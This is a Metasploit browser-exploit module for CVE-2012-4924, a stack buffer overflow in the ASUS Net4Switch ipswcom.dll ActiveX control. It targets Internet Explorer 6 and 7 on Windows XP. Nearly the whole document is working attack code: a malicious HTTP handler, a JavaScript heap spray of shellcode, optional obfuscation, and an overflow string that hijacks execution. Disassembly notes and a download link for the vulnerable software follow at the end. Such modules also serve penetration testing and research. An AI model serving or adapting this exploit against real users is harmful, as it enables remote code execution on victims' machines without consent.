ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
        ActiveX control.  A buffer overflow condition is possible in multiple places due
        to the use of the CxDbgPrint() function, which allows remote attackers to gain
        arbitrary code execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dmitriy Evdokimov', #Initial discovery, poc
          'sinn3r'             #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4924' ],
          [ 'OSVDB', '79438' ],
          [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
          [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-02-17',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ])
  end

  def get_target(agent)
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    nops = Rex::Text.to_unescape(make_nops(4))
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();

    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    JS

    spray = heaplib(spray, {:noobfu => true})

    js = <<-JS
    var obj = new ActiveXObject("ipswcom.IPSWComItf");

    #{spray}

    function generate_padding(d, s) {
      var tmp = d;
      while (tmp.length < s) {
        tmp += tmp;
      }
      var buf = tmp.substring(0, s/2);
      tmp = null;
      return buf;
    }

    var arg1 = generate_padding(unescape("%u4141"), 4);

    var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
    arg2 += generate_padding(unescape("%u4343"), 2680);
    arg2 += unescape("%u4242%u4242");
    arg2 += unescape("%u0d0d%u0d0d");
    arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);

    obj.MsgBox(arg1, arg2, 2);
    JS

    #obfuscate on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    html = <<-EOS
    <html>
    <head>
    </head>
    <body>
    <script>
    #{js}
    </script>
    </body>
    </html>
    EOS

    html = html.gsub(/\t\t/, '')

    print_status("Sending HTML")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end
end

=begin
Download:
http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html

clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
C:\Program Files\ASUS\Net4Switch\ipswcom.dll

.text:10030523                 push    ecx
.text:10030524                 mov     eax, [ebp+arg_C]
.text:10030527                 mov     [ebp+var_4], eax
.text:1003052A                 cmp     [ebp+var_4], 0
.text:1003052E                 jz      short loc_10030541  <-- uType 10h
.text:10030530                 cmp     [ebp+var_4], 1
.text:10030534                 jz      short loc_10030573  <-- uType 44h
.text:10030536                 cmp     [ebp+var_4], 2
.text:1003053A                 jz      short loc_100305A5  <-- CxDbgPrint
...
.text:100305A5 loc_100305A5:                           ; CODE XREF: MsgBox+1Aj
.text:100305A5                 mov     eax, [ebp+lpText]
.text:100305A8                 push    eax
.text:100305A9                 push    offset aIpsw_alertS ; "[IPSW_alert] = %s"
.text:100305AE                 push    0FFh
.text:100305B3                 call    ds:CxDbgPrint
=end